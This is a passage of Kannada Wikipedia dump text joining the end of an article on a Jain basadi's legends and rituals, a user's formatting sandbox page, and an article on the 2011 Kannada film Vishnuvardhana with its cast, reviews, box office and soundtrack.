ತಾಯಿಗೆ ಇಪ್ಪತೊಂದು ಕಾಯಿ ಒಪ್ಪಿಸುವುದಾಗಿ ಹರಕೆಮಾಡಿಕೊಂಡ ನಂತರ ಮೂರ್ತಿಯ ಭಾರವು ಕಡಿಮೆಯಾಗಿ ಎತ್ತಲು ಸಾಧ್ಯವಾಯಿತು. ಬಸದಿಯ ಗೇಣಿದಾರರಾದ ಈಶ್ವರ ನಾಯ್ಕ ಎಂಬವರು ಹಿಂದೆ ಚಂದಯ್ಯ ಶೆಟ್ಟಿಯವರು ಪೂಜೆ ಮಾಡುವ ಸಮಯದಲ್ಲಿ ಬಸದಿಗೆ ಆರು ಚೆಂಬು ಎಣ್ಣೆ ಮತ್ತು ಆರು ಮಾನಿಗೆ ಅಕ್ಕಿ ದೇವರ ನೈವೇದ್ಯಕ್ಕೆ ಕೊಡಬೇಕಾಗಿತ್ತು. ದೀಪ ಹಚ್ಚಲು ಎಣ್ಣೆಗೆ ತೊಂದರೆಯಾದಾಗ ಚಂದಯ್ಯ ಶೆಟ್ಟರು ಎರಡು ಮೂರು ಸಾರಿ ಕೇಳಿದರೂ ಅವರು ಎಣ್ಣೆ ಕೊಡಲು ತಡ ಮಾಡಿದರು. ತಿರುಗಿ ತಿರುಗಿ ಕೇಳಿ ಸಾಕಾಗಿ ಎಣ್ಣೆ ನೀನೆ ತರಿಸಿಕೋ ಎಂದು ಶೆಟ್ಟರು ಪ್ರಾರ್ಥಿಸಿಕೊಂಡರಂತೆ. ನಂತರ ಗೇಣಿದಾರರಿಗೆ ಎರಡು ಕಣ್ಣುಗಳು ಸರಿಯಾಗಿ ಕಾಣಿಸದಂತೆ ಆಗಿ ಮನುಷ್ಯರ ಗುರುತು ಹಿಡಿಯಲು ಸಾಧ್ಯವಾಗುತ್ತಿರಲಿಲ್ಲ. ಆಗ ಅವರು ಬೇರೆ ದೇವಾಲಯದಲ್ಲಿ ವಿಚಾರಿಸಿದಾಗ ಅಮ್ಮನವರ ಬಸದಿಗೆ ಸರಿಯಾಗಿ ಎಣ್ಣೆ ಕೊಡು ಎಂದು ತಿಳಿಸಿದರು. ನಂತರ ತಪ್ಪಿನ ಅರಿವಾಗಿ ಅಮ್ಮನವರಲ್ಲಿ ಕ್ಷಮೆ ಕೇಳಿ, ಎಣ್ಣೆ ಅರ್ಪಿಸಿದರು. ನಂತರ ಅವರ ಕಣ್ಣುಗಳು ಸರಿಯಗಿ ಕಾಣಲಾರಂಭವಾಯಿತು. ==ಶಿಲಾ ವಿನ್ಯಾಸ== ಬಸದಿಯ ಮೂಲನಾಯಕ ಶ್ರೀ ಪಾರ್ಶ್ವನಾಥ ಸ್ವಾಮಿ ಕಪ್ಪುಶಿಲೆ, ಪದ್ಮಾಸನ ಭಂಗಿಯ ಸುಂದರ ಮೂರ್ತಿಯಲ್ಲಿ ವಿರಾಜಮಾನರಾಗಿದ್ದಾರೆ. ಮಕರ ತೋರಣ, ಪೀಠ ಸೇರಿ ೫ ಅಡಿ ಎತ್ತರವಿದ್ದು, ಪ್ರತಿದಿನ ಪಂಚಾಮೃತಾಭಿಷೇಕ, ಜಲಾಭಿಷೇಕ, ಕ್ಷೀರಾಭಿಷೇಕ ನಡೆಯುತ್ತದೆ. ವಾರ್ಷಿಕೋತ್ಸವವು ದಸರಾ ಸಮಯದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ವಿಶೇಷ ಸಂದರ್ಭಗಳಲ್ಲಿ ೧೦೮ ಕಲಶದ ಅಭಿಷೇಕ, ನವಕಲಶ, ಕಬ್ಬಿನ ಹಾಲು, ಗಂಧ, ಅರಶಿನ ಮತ್ತು ಚಂದನದ ಅಭಿಷೇಕ, ನವಗ್ರಹ ಶಾಂತಿ, ಕಲಿಕುಂಡ ಆರಾಧನೆ, ವಜ್ರ ಪಂಜರ ಆರಾಧನೆ ಮುಂತಾದ ಆರಾಧನೆಗಳು ನಡೆಯುತ್ತವೆ. ಮಹಾಮಾತೆ ಜ್ವಾಲಮಾಲಿನಿ ಅಮ್ಮನವರಿಗೆ ಸಂತಾನ ಪ್ರಾಪ್ತಿಗಾಗಿ ಹರಕೆ ಹೊತ್ತವರು, ವಿವಾಹಕ್ಕಾಗಿ ಹರಕೆ ಹೊತ್ತವರು ಬಂದು ಹರಕೆ ಸಲ್ಲಿಸುತ್ತಾರೆ. ದೇವಸ್ಥಾನದ ಹಿಂಬದಿ ಬಲ ಮೂಲೆಯಲ್ಲಿ ಕ್ಷೇತ್ರಪಾಲ ಸನ್ನಿಧಿಯಿದ್ದು ಅಲ್ಲಿ ಜಟ್ಟಿಗ, ನಾಗ, ವೀರಭದ್ರ, ಮಣಿಭದ್ರ, ಮಹಾಸತಿ ಮತ್ತು ಬ್ರಹ್ಮಯಕ್ಷನ ಮೂರ್ತಿಗಳಿವೆ. ಅವೆಲ್ಲವನ್ನು ಒಂದು ಮುರಕಲ್ಲಿನ ಪೀಠದ ಮೇಲಿಟ್ಟು ಪೂಜಿಸಲಾಗುತ್ತಿತ್ತು. ಈಗ ಆ ಪೀಠವು ಬಹಳ ಶಿಥಿಲಗೊಂಡಿದೆ. ==ಉಲ್ಲೇಖಗಳು== {{reflist}} [[ವರ್ಗ: ಜೈನ ಧರ್ಮದ ಪುಣ್ಯ ಕ್ಷೇತ್ರಗಳು]] arrebhd06csio5xaf9hxv80imro78t3 ಸದಸ್ಯ:Pavanaja/ನನ್ನ ಪ್ರಯೋಗಪುಟ4 2 140112 1116567 1115189 2022-08-24T05:20:44Z Pavanaja 5 /* ಬಿಸಿ */ wikitext text/x-wiki ನೀರಿನ ರಾಸಾಯನಿಕ ಸೂತ್ರ H<sub>2</sub>O ಸಾಪೇಕ್ಷ ಸಿದ್ಧಾಂತ - E = MC<sup>2</sup> <poem> ಮಾವು ನಾವು ಬೇವು ನಾವು ಚೆಲುವು ನಮ್ಮ ಜೀವನ ನಮ್ಮ ಹಾದಿಯೋ ಅನಾದಿ ಪಯಣವೆಲ್ಲ ಪಾವನ </poem> {{ಸದಸ್ಯ:Pavanaja/T|name=ಪವನಜ}} ಕನ್ನಡದ ಮೊದಲ ಅಂತರಜಾಲ ತಾಣ ಮತ್ತು ಕಾಗದರಹಿತ ಪತ್ರಿಕೆ [[http://vishvakannada.com/ ವಿಶ್ವಕನ್ನಡ]]. ==ಪೀಠಿಕೆ== ಎಲ್ಲಾದರು ಇರು ಎಂತಾದರು ಇರು ಎಂದೆಂದಿಗು ನೀ '''ಆನ್‍ಲೈನ್''' ಆಗಿರು. ''ಕರ್ನಾಟಕ'' ರಾಜ್ಯದ ಭಾಷೆ ಕನ್ನಡ. ಮಲೆಗಳಲ್ಲಿ ಮದುಮಗಳು ಬರೆದವರು [[ಕುವೆಂಪು]]. ಮೂಕಜ್ಜಿಯ ಕನಸುಗಳು ಬರೆದವರು [[ಶಿವರಾಮ ಕಾರಂತ]]. ನನಗೆ [[ಶಿವರಾಮ ಕಾರಂತ|ಕಾರಂತರ]] ಕಾದಂಬರಿಗಳು ಇಷ್ಟ. ಕನ್ನಡದ ಮೊದಲ ಅಂತರಜಾಲ ತಾಣ ಮತ್ತು ಕಾಗದರಹಿತ ಪತ್ರಿಕೆ ವಿಶ್ವಕನ್ನಡ. ==ತಿಂಡಿಗಳು== *ಇಡ್ಲಿ *ದೋಸೆ *ವಡೆ *ಪೂರಿ *ಪತ್ರೊಡೆ *ಗೋಳಿಬಜೆ ==ಪಾನೀಯಗಳು== ===ಬಿಸಿ=== #ಕಾಫಿ #ಚಹಾ #ಕಷಾಯ #ಬಾದಾಮಿ ಹಾಲು #ರಾಗಿ ಮಾಲ್ಟ್ ===ತಂಪು=== #ಎಳನೀರು #ಶರ್ಬತ್ #ಮಜ್ಜಿಗೆ {| class="wikitable" |+ ಅಂಕಪಟ್ಟಿ |- ! ಹೆಸರು !! ಭೌತವಿಜ್ಞಾನ !! ರಸಾಯನವಿಜ್ಞಾನ !! ಗಣಿತ |- | ಪ್ರಜ್ಞ || ೯೪ || ೯೬ || ೯೯ |- | ರಂಜಿತ || ೭೪ || ೮೪ || ೬೪ |- | ಹರ್ಷಿತ || ೫೬ || ೮೧|| ೯೦ |} tftvw0rutlhoxni9frbx2mzjzaabfkj ವಿಷ್ಣುವರ್ಧನ (ಚಲನಚಿತ್ರ) 0 142404 1116475 1096414 2022-08-23T13:25:33Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox film | name = ವಿಷ್ಣುವರ್ಧನ | image = Only_vishnuvardhana.jpg | caption = ವಿಷ್ಣುವರ್ಧನ ಪೋಸ್ಟರ್ | director = [[ಪಿ. ಕುಮಾರ್]] | producer = [[ದ್ವಾರಕೀಶ್]] | writer = ಅನಿಲ್ ಕುಮಾರ್ Mrugashira Shrikanth Kalidas (ಸಂಭಾಷಣೆ) | screenplay = ಪಿ. ಕುಮಾರ್, Kalidas, Shrikanth | story = ಪಿ. ಕುಮಾರ್ | based_on = <!-- {{based on|title of the original work|writer of the original work}} --> | starring = [[ಸುದೀಪ್]], [[ಪ್ರಿಯಾಮಣಿ]] | music = [[ವಿ.ಹರಿಕೃಷ್ಣ]] | cinematography = ರಾಜರತ್ನಂ | editing = ಗೌತಮ್ ರಾಜು | studio = ದ್ವಾರಕೀಶ್ ಸ್ಟುಡಿಯೋಸ್ | distributor = ಜಯಣ್ಣ ಫಿಲಮ್ಸ್ | released = 2011 ರ ಡಿಸೆಂಬೆರ್ 8 | runtime = 169 ನಿಮಿಷಗಳು | country = ಭಾರತ | language = ಕನ್ನಡ | budget = <!--Must be attributed to a reliable published source with an established reputation for fact-checking. No blogs, no IMDb.--> | gross = ₹ 37 crores <ref>{{Cite web |url=https://bangaloremirror.indiatimes.com/entertainment/south-masala/top-earning-kannada-movies-of-2011/articleshow/21446749.cms |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2022-03-22 |archive-date=2022-02-19 |archive-url=https://web.archive.org/web/20220219030151/https://bangaloremirror.indiatimes.com/entertainment/south-masala/top-earning-kannada-movies-of-2011/articleshow/21446749.cms |url-status=dead }}</ref> }} '''''ವಿಷ್ಣುವರ್ಧನ''''' 2011 ರ [[ಕನ್ನಡ]] ಭಾಷೆಯ ಕಾಮಿಡಿ ಥ್ರಿಲ್ಲರ್ ಆಗಿದ್ದು, [[ಸುದೀಪ್]] ಮತ್ತು [[ಪ್ರಿಯಾಮಣಿ]] ನಟಿಸಿದ್ದಾರೆ, ಇದನ್ನು ಪಿ. ಕುಮಾರ್ ನಿರ್ದೇಶಿಸಿದ್ದಾರೆ, ಅವರ ಚೊಚ್ಚಲ ಚಿತ್ರದಲ್ಲಿ ಮತ್ತು [[ದ್ವಾರಕೀಶ್]] ನಿರ್ಮಿಸಿದ್ದಾರೆ. ಚಿತ್ರದ ಸಂಗೀತವನ್ನು [[ವಿ.ಹರಿಕೃಷ್ಣ]] ಸಂಯೋಜಿಸಿದ್ದಾರೆ. ಚಲನಚಿತ್ರವು 8 ಡಿಸೆಂಬರ್ 2011 ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. <ref>[http://www.desitara.com/blogs/movieskannada-veeravishnuvardhanakannadamovie/tag/sudeep-veera-vishnuvardhana-kannada-movie-review/ sudeep veera vishnuvardhana kannada movie review | Veera Vishnuvardhana Kannada Movie]</ref> ಈ ಚಲನಚಿತ್ರವನ್ನು ಅಧಿಕೃತವಾಗಿ 2014 ರಲ್ಲಿ ಬಂಗಾಳಿ ಭಾಷೆಯಲ್ಲಿ ''ಬಚ್ಚನ್'' ಎಂದು ರೀಮೇಕ್ ಮಾಡಲಾಯಿತು. == ಕಥಾವಸ್ತು == ವಿಷ್ಣುವರ್ಧನ (ಸುದೀಪ್) ಸ್ಥಳೀಯ ಗೂಂಡಾ ಆದಿಶೇಷನ (ಸೋನು ಸೂದ್) ಫೋನ್ ಕದಿಯುತ್ತಾನೆ. ಡೀಲ್ ಹಣದಲ್ಲಿ ಆ ಗೂಂಡಾನ ಪಾಲು ತೆಗೆದುಕೊಳ್ಳಲು ಅವನು ಅದನ್ನು ಬಳಸುತ್ತಾನೆ. ಆದಿಶೇಷ ಅವನನ್ನು ಹುಡುಕಲು ಪ್ರಯತ್ನಿಸುತ್ತಾನೆ. ವಿಷ್ಣು ಪ್ರತಿ ಬಾರಿಯೂ ಅವನನ್ನು ಮೂರ್ಖನನ್ನಾಗಿ ಮಾಡುತ್ತಾನೆ. ಅವನು ಭಾರತಿ (ಭಾವನಾ ಮೆನನ್) ಜೊತೆ ಸ್ನೇಹ ಬೆಳೆಸುತ್ತಾನೆ ಮತ್ತು ಅವಳ ತಂದೆಯನ್ನು (ದ್ವಾರಕೀಶ್) ಮೆಚ್ಚಿಸುತ್ತಾನೆ. ಡಾ. ಸೂರ್ಯ ಪ್ರಕಾಶ್ (ಜಯರಾಮ್ ಕಾರ್ತಿಕ್) ಅವಳೊಂದಿಗೆ ನಿಶ್ಚಿತಾರ್ಥ ಮಾಡಿಕೊಂಡಿದ್ದಾನೆ ಮತ್ತು ಇದು ಅವನನ್ನು ಕೋಪಗೊಳಿಸುತ್ತದೆ. ಆದಿಶೇಷನ ಹೆಂಡತಿ ಮೀರಾ (ಪ್ರಿಯಾಮಣಿ) ತನ್ನ ಗಂಡನನ್ನು ಕೊಲ್ಲುವಂತೆ ವಿಷ್ಣುವನ್ನು ಕೇಳುತ್ತಾಳೆ. ವಿಷ್ಣು ಆಕೆಯನ್ನು ಪ್ರಶ್ನಿಸಿದಾಗ ಆತ ತನಗೆ ಮೋಸ ಮಾಡಿರುವುದಾಗಿ ತಿಳಿಸಿದ್ದಾಳೆ. ವಿಷ್ಣುವರ್ಧನ್ ಆದಿಶೇಷನ ಮನೆಗೆ ಬರುತ್ತಾನೆ. ಮುಂದೆ ಏನಾಗುತ್ತದೆ? ಎಂಬುದು ಉಳಿದ ಕಥೆ. == ಪಾತ್ರವರ್ಗ == * ವಿಷ್ಣುವರ್ಧನ ಪಾತ್ರದಲ್ಲಿ [[ಸುದೀಪ್]] * ಮೀರಾ ಪಾತ್ರದಲ್ಲಿ [[ಪ್ರಿಯಾಮಣಿ]] * ಆದಿಶೇಷನಾಗಿ [[ಸೋನು ಸೂದ್]] * ಭಾರತಿಯಾಗಿ [[ಭಾವನಾ (ನಟಿ-ಕಾರ್ತಿಕಾ ಮೆನನ್)|ಭಾವನಾ]] * ಕರ್ನಲ್ ಪಾತ್ರದಲ್ಲಿ [[ದ್ವಾರಕೀಶ್]] * ನಿಂಬೆಹಣ್ಣು ಅಕಾ ಶಾಸ್ತ್ರಿಯಾಗಿ [[ಅರುಣ್ ಸಾಗರ್]] * ಡಾ. ಸೂರ್ಯ ಪ್ರಕಾಶ್ ಪಾತ್ರದಲ್ಲಿ [[ಕಾರ್ತಿಕ್ ಜಯರಾಮ್|ಜೆ. ಕಾರ್ತಿಕ್]] * ಆದಿಶೇಷನ ಸಹೋದರನಾಗಿ ನೀನಾಸಂ ಅಶ್ವಥ್ * ಕರಿಸುಬ್ಬು ಪುಟ್ಟಯ್ಯ, ಲಾಂಡ್ರಿ ಮಾಲೀಕ ಮತ್ತು ವಿಷ್ಣುವರ್ಧನ ತಂದೆಯಾಗಿ * ರವಿ ಚೇತನ್ ಪೊಲೀಸ್ ಇನ್ಸ್‌ಪೆಕ್ಟರ್ * ಮುನಿ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿ * ತರಂಗ ವಿಶ್ವ * ರವಿವರ್ಮ * ಪೊನ್ ಕುಮಾರನ್ ಅವರು ವಹಾಬ್ ಪಾತ್ರದಲ್ಲಿ * ಎಂ ಎನ್ ಸುರೇಶ್ * ಮಂದೀಪ್ ರೈ ಅಂಧ ವ್ಯಕ್ತಿ ಮತ್ತು ಟೆಲಿಫೋನ್ ಬೂತ್ ಮಾಲೀಕನಾಗಿ * ಮೈಸೂರು ರಮಾನಂದ್ ಮದುವೆ ಬ್ರೋಕರ್ ಆಗಿ * ವಲ್ಲಿಯಾಗಿ ಆರತಿ * ಭಾರತಿಯ ಸಹೋದರಿಯಾಗಿ ಸಂಗೀತಾ == ವಿಮರ್ಶೆಗಳು == ''ಬೆಂಗಳೂರು ಮಿರರ್'' ಚಿತ್ರಕ್ಕೆ ಮೂರೂವರೆ ಸ್ಟಾರ್ ರೇಟಿಂಗ್ ನೀಡಿದೆ. ಇದು ಮೊದಲ ಬಾರಿಗೆ ನಿರ್ದೇಶನ ಮಾಡಿರುವ ಪಿ.ಕುಮಾರ್ ಅವರನ್ನು ಶ್ಲಾಘಿಸಿದೆ ಮತ್ತು ಚಿತ್ರಕಥೆಯನ್ನು ಪ್ರಶಂಸಿಸಿದೆ. ಚಲನಚಿತ್ರವು ವಾಣಿಜ್ಯ ಯಶಸ್ಸಿನ ಎಲ್ಲಾ ಅಂಶಗಳನ್ನು ಹೊಂದಿದೆ ಎಂದೂ ಅದು ಹೇಳಿದೆ. <ref>{{Cite web|url=http://www.bangaloremirror.com/article/76/2011120820111208214536315dece8557/iVishnuvardhanai-Yearend-fireworks-.html|title=Vishnuvardhana: Year-end fireworks|last=Prasad|first=S Shyam|date=8 December 2011|website=Bangalore Mirror|archive-url=https://web.archive.org/web/20120114015911/http://www.bangaloremirror.com/article/76/2011120820111208214536315dece8557/iVishnuvardhanai-Yearend-fireworks-.html|archive-date=14 January 2012|access-date=20 February 2015}}</ref> ಚಿತ್ರಲೋಕ ವೆಬ್‌ಸೈಟ್ ಇದು ಕಾಮಿಡಿ ಥ್ರಿಲ್ಲರ್ ಎಂದು ಹೇಳಿ ಚಲನಚಿತ್ರವನ್ನು ಶ್ಲಾಘಿಸಿದೆ, ಇದು [[ಸುದೀಪ್]] ಮತ್ತು [[ಪ್ರಿಯಾಮಣಿ]] ಅವರ ಈ ಪ್ಲಸ್-ಪಾಯಿಂಟ್ ಶಕ್ತಿಯುತ ಅಭಿನಯಕ್ಕೆ ಪ್ರೇಕ್ಷಕರ ಆಸಕ್ತಿಯನ್ನು ಉಳಿಸಿಕೊಳ್ಳುವ ಸೊಗಸಾದ ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಹೊಂದಿದೆ ಎಂದು ಹೇಳಿದರು. <ref>{{Cite web|url=http://www.chitraloka.com/2011/12/08/vishnuvardhana-review/|title=chitraloka.com {{!}} Kannada Movie News, Reviews {{!}} Image - Home|website=www.chitraloka.com|access-date=2016-10-16}}</ref> [[ದಿ ಟೈಮ್ಸ್ ಆಫ್‌ ಇಂಡಿಯಾ|ಟೈಮ್ಸ್ ಆಫ್ ಇಂಡಿಯಾ]] ನಾಲ್ಕು ಸ್ಟಾರ್ ಗಳನ್ನು ನೀಡಿ ಸುದೀಪ್ ಅಭಿನಯವನ್ನು ಶ್ಲಾಘಿಸಿದೆ == ಬಿಡುಗಡೆ ಮತ್ತು ಬಾಕ್ಸ್ ಆಫೀಸ್ ಗಳಿಕೆ == ಕರ್ನಾಟಕದಾದ್ಯಂತ ಸುಮಾರು 140 ಚಿತ್ರಮಂದಿರಗಳಲ್ಲಿ ಚಿತ್ರ ಬಿಡುಗಡೆಯಾಗಿದೆ. <ref>[https://web.archive.org/web/20140809221704/http://www.sify.com/movies/vishnuvardhana-in-140-theatres-news-kannada-lmirs9achbg.html ''Vishnuvardhana'' in 140 theatres]</ref> ಚಿತ್ರದ ಉಪಗ್ರಹ ಹಕ್ಕುಗಳನ್ನು ಉದಯ ಟಿವಿಗೆ {{INRConvert|20|m}} ರೂಪಾಯಿಗೆ ಮಾರಾಟ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://kannadaboxoffice.blogspot.in/2011/12/vishnuvardhana-movie-box-office-preview.html|title=Kannada Movie News: Vishnuvardhana movie Box Office Preview|last=San|date=10 December 2011|publisher=Kannadaboxoffice.blogspot.in|access-date=2014-08-06}}</ref> ಒಂದು ವಾರದಲ್ಲಿ {{INRConvert|80|m}} ರೂಫಾಯಿ ) ಸಂಗ್ರಹವಾಗಿದೆ ಎಂದು ವಿತರಕ ಕುಮಾರ್ ಎಂಎನ್ ಹೇಳಿದ್ದಾರೆ . ಎರಡನೇ ವಾರದ ಪೂರ್ಣಗೊಳ್ಳುವ ಮೊದಲು ಚಲನಚಿತ್ರದ ಸಂಗ್ರಹವು {{INRConvert|150|m}} ರೂಪಾಯಿ ದಾಟಿದೆ . [[ವಿಷ್ಣುವರ್ಧನ್ (ನಟ)|ವಿಷ್ಣುವರ್ಧನ್]] ಅವರ ಅಭಿಮಾನಿಗಳು ಆರಂಭದಲ್ಲಿ ಚಿತ್ರವನ್ನು ವೀಕ್ಷಿಸಿದರು, ಆದರೆ ನಂತರ ಸುದೀಪ್ ಅಭಿಮಾನಿಗಳು ಮತ್ತು ವಿಷ್ಣುವರ್ಧನ್ ಅಭಿಮಾನಿಗಳು ಒಟ್ಟಾಗಿ ಚಿತ್ರವನ್ನು ವೀಕ್ಷಿಸಲು ನುಗ್ಗಿದರು. <ref>[http://entertainment.oneindia.in/kannada/news/2011/vishnuvardhana-box-office-collections-141211.html Vishnuvardhana Movie Collections | Actor Sudeep | Dwarakish | Kannada Box Office]</ref> ಅಂತಿಮವಾಗಿ ಚಲನಚಿತ್ರವನ್ನು ವರ್ಷದ ಬ್ಲಾಕ್‌ಬಸ್ಟರ್ ಹಿಟ್ ಎಂದು ಘೋಷಿಸಲಾಯಿತು ಮತ್ತು {{INRConvert|360|m}} ರೂಪಾಯಿ ಸಂಗ್ರಹಿಸಿತು. ಈ ಚಲನಚಿತ್ರವನ್ನು ನಂತರ 2016 ರಲ್ಲಿ ಗೋಲ್ಡ್‌ಮೈನ್ಸ್ ಟೆಲಿಫಿಲ್ಮ್ಸ್‌ನಿಂದ ''ಮಿಸ್ಟರ್ ಮೊಬೈಲ್ 2'' ಎಂದು ಹಿಂದಿಗೆ ಡಬ್ ಮಾಡಲಾಯಿತು, ಸುದೀಪ್ ಅವರ ಧ್ವನಿಯನ್ನು ಅಮರ್ ಬಬಾರಿಯಾ ಡಬ್ ಮಾಡಿದರು. <ref>{{Cite web|url=https://www.youtube.com/watch?v=b-ljpSZOz_o|title=- YouTube|website=[[YouTube]]}}</ref> ಚಿತ್ರವು ''ವಿಷ್ಣುವರ್ಧನ'' ಎಂಬ ಶೀರ್ಷಿಕೆಯೊಂದಿಗೆ ನಿರ್ಮಾಣಕ್ಕೆ ಹೋದಾಗಿನಿಂದ, ಕೆಲವು ಗುಂಪುಗಳಿಂದ ಶೀರ್ಷಿಕೆಯನ್ನು ಬಳಸುವುದರ ವಿರುದ್ಧ ತೀವ್ರ ವಿರೋಧವಿತ್ತು. ಈ ವಿರೋಧದ ನೇತೃತ್ವವನ್ನು ಡಾ.ವಿಷ್ಣುವರ್ಧನ್ ಅವರ ಪತ್ನಿ, ನಟಿ [[ಭಾರತಿ (ನಟಿ)|ಡಾ.ಭಾರತಿ]] ವಿಷ್ಣುವರ್ಧನ್ ವಹಿಸಿದ್ದರು. ದ್ವಾರಕೀಶ್ ಮತ್ತು ಅವರ ಸಹ ನಿರ್ಮಾಪಕ ಯೋಗೀಶ್ ಅವರು ಆರೋಪಗಳ ವಿರುದ್ಧ ಹೋರಾಡಲು ಕಷ್ಟಪಟ್ಟರು. ಅಂತಿಮವಾಗಿ, ಶೀರ್ಷಿಕೆಯನ್ನು ''ವೀರ ವಿಷ್ಣುವರ್ಧನ'' ಎಂದು ಬದಲಾಯಿಸಲಾಯಿತು ಮತ್ತು ನಂತರ ಮತ್ತೆ ''ವಿಷ್ಣುವರ್ಧನ'' ಎಂದು ಬದಲಾಯಿಸಲಾಯಿತು. <ref>[https://web.archive.org/web/20130306015659/http://www.sify.com/movies/sudeeps-vishnuvardhana-in-trouble-news-kannada-kkfqsjebihc.html Sudeep’s ''Vishnuvardhana'' in trouble]</ref> <ref>[http://www.mangaloreheadlines.com/show-contents.php?id=7784 Loading]</ref> == ರೀಮೇಕ್ == ಜೀತ್, [[ಐಂದ್ರಿತಾ ರೇ]], ಪಾಯೆಲ್ ಸರ್ಕಾರ್, ಕಾಂಚನ್ ಮುಲ್ಲಿಕ್ ಮತ್ತು ಮುಕುಲ್ ದೇವ್ ಮುಖ್ಯ ಭೂಮಿಕೆಯಲ್ಲಿ ನಟಿಸಿದ ಈ ಚಲನಚಿತ್ರವನ್ನು ಬೆಂಗಾಲಿಯಲ್ಲಿ ''ಬಚ್ಚನ್'' ಎಂದು ರೀಮೇಕ್ ಮಾಡಲಾಯಿತು. == ಧ್ವನಿಮುದ್ರಿಕೆ == [[ವಿ.ಹರಿಕೃಷ್ಣ]] ಈ ಚಿತ್ರಕ್ಕೆ ಹಿನ್ನೆಲೆ ಸಂಗೀತದ ಜೊತೆಗೆ ಐದು ಹಾಡುಗಳನ್ನು ಸಂಯೋಜಿಸಿದ್ದಾರೆ. ಆಡಿಯೊವನ್ನು ಔಪಚಾರಿಕವಾಗಿ 1 ಡಿಸೆಂಬರ್ 2011 ರಂದು ಮತ್ತು ಖಾಸಗಿ ರೇಡಿಯೊ ಕೇಂದ್ರದಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಅದೇ ದಿನ ಹಾಡುಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. <ref>[http://www.indiaglitz.com/channels/tamil/article/74866.html IndiaGlitz – 'Only Vishnuvardhana' in 120 theatres – Tamil Movie News]</ref> ಸಾಹಿತ್ಯವನ್ನು ನಾಗೇಂದ್ರ ಪ್ರಸಾದ್, [[ಕವಿರಾಜ್]] ಮತ್ತು [[ಯೋಗರಾಜ ಭಟ್|ಯೋಗರಾಜ್ ಭಟ್]] ಮುಂತಾದ ಸಾಹಿತಿಗಳು ಬರೆದಿದ್ದಾರೆ. ಅಶ್ವಿನಿ ಮೀಡಿಯಾ ವರ್ಕ್ಸ್ 3.6 ಕ್ಕೆ ಆಡಿಯೋ ವಿತರಣೆ ಹಕ್ಕುಗಳನ್ನು ಪಡೆದುಕೊಂಡಿದೆ&nbsp;ಮಿಲಿಯನ್ ರೂಪಾಯಿ. <ref>[https://web.archive.org/web/20111207042734/http://www.sify.com/movies/ov-audio-a-success-news-kannada-lmflgzfejfh.html OV audio a success]</ref> {{Track listing | total_length = 22:42 | extra_column = ಹಾಡುಗಾರರು | title1 = ಒನ್ ಟು ಥ್ರೀ ವಿಷ್ಣುವರ್ಧನ | lyrics1 = ವಿ. ನಾಗೇಂದ್ರ ಪ್ರಸಾದ್ | extra1 = ನವೀನ್ ಮಾಧವ್ | length1 = 4:39 | title2 = ಮಾಯ ಮಾಯ | lyrics2 = [[ಕವಿರಾಜ್]] | extra2 = [[ವಿ.ಹರಿಕೃಷ್ಣ]] | length2 = 4:07 | title3 = ನಮ್ ರೂಟಲ್ಲಿ | extra3 = [[ವಿಜಯ್ ಪ್ರಕಾಶ್ ]], [[ಶಂಕರ್ ಮಹದೇವನ್]], [[ಅನುರಾಧಾ ಭಟ್ ]] | lyrics3 = [[ಯೋಗರಾಜ ಭಟ್]] | length3 = 5:30 | title4 = ಎದೆಯೊಳಗೆ | extra4 = [[ಟಿಪ್ಪು (ಗಾಯಕ)|ಟಿಪ್ಪು]], [[ಸೌಮ್ಯ ರಾವ್h]] | lyrics4 = ವಿ. ನಾಗೇಂದ್ರ ಪ್ರಸಾದ್ | length4 = 4:29 | title5 = ಯಾರಪ್ಪನ ಗಂಟು | extra5 = ಲಕ್ಷ್ಮಿ ವಿಜಯ್ | lyrics5 = ಯೋಗರಾಜ ಭಟ್ | length5 = 4:29 }} == ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ನಾಮನಿರ್ದೇಶನಗಳು == {| class="infobox" style="width:22.7em; text-align:left; font-size:85%; vertical-align:middle; background:#eef;" | colspan="3" | {| class="collapsible collapsed" style="width:100%;" ! colspan="3" style="background:#d9e8ff; text-align:center;" | ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ನಾಮನಿರ್ದೇಶನಗಳು |- style="background:#d9e8ff; text-align:center;" ! style="vertical-align: middle;" | ಪ್ರಶಸ್ತಿ | style="background:#cec; font-size:8pt; width:60px;" | ಗೆಲ್ಲುತ್ತಾನೆ | style="background:#ecc; font-size:8pt; width:60px;" | ನಾಮನಿರ್ದೇಶನಗಳು |- | style="text-align:center;" | ; ಫಿಲ್ಮ್‌ಫೇರ್ ಅವಾರ್ಡ್ಸ್ ಸೌತ್ |{{won|0}}|{{nom|1}} |- | style="text-align:center;" | ; ದಕ್ಷಿಣ ಭಾರತೀಯ ಅಂತರಾಷ್ಟ್ರೀಯ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿಗಳು (SIIMA) |{{won|1}}|{{nom|6}} |- | style="text-align:center;" | ; ಸುವರ್ಣ ಚಲನಚಿತ್ರ ಪ್ರಶಸ್ತಿಗಳು |{{won|2 + N/A}}|{{nom|N/A}} |- | style="text-align:center;" | ; ಸ್ಯಾಂಡಲ್ವುಡ್ ಸ್ಟಾರ್ ಪ್ರಶಸ್ತಿಗಳು |{{won|3}}|{{nom|9}} |- | style="text-align:center;" | ; ಬೆಂಗಳೂರು ಟೈಮ್ಸ್ ಫಿಲ್ಮ್ ಅವಾರ್ಡ್ಸ್ |{{won|1}}|{{nom|3}} |- | style="text-align:center;" | ; ಕನ್ನಡ ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಗೀತ ಪ್ರಶಸ್ತಿಗಳು (KiMA) |{{won|0}}|{{nom|1}} |} |- style="background:#d9e8ff;" | colspan="3" style="text-align:center;" | '''ಮೊತ್ತಗಳು''' |-| {{won|Awards won}}| colspan="2" width=50 {{won|7 + N/A}} |-| {{nom|Nominations}}| colspan="2" width=50 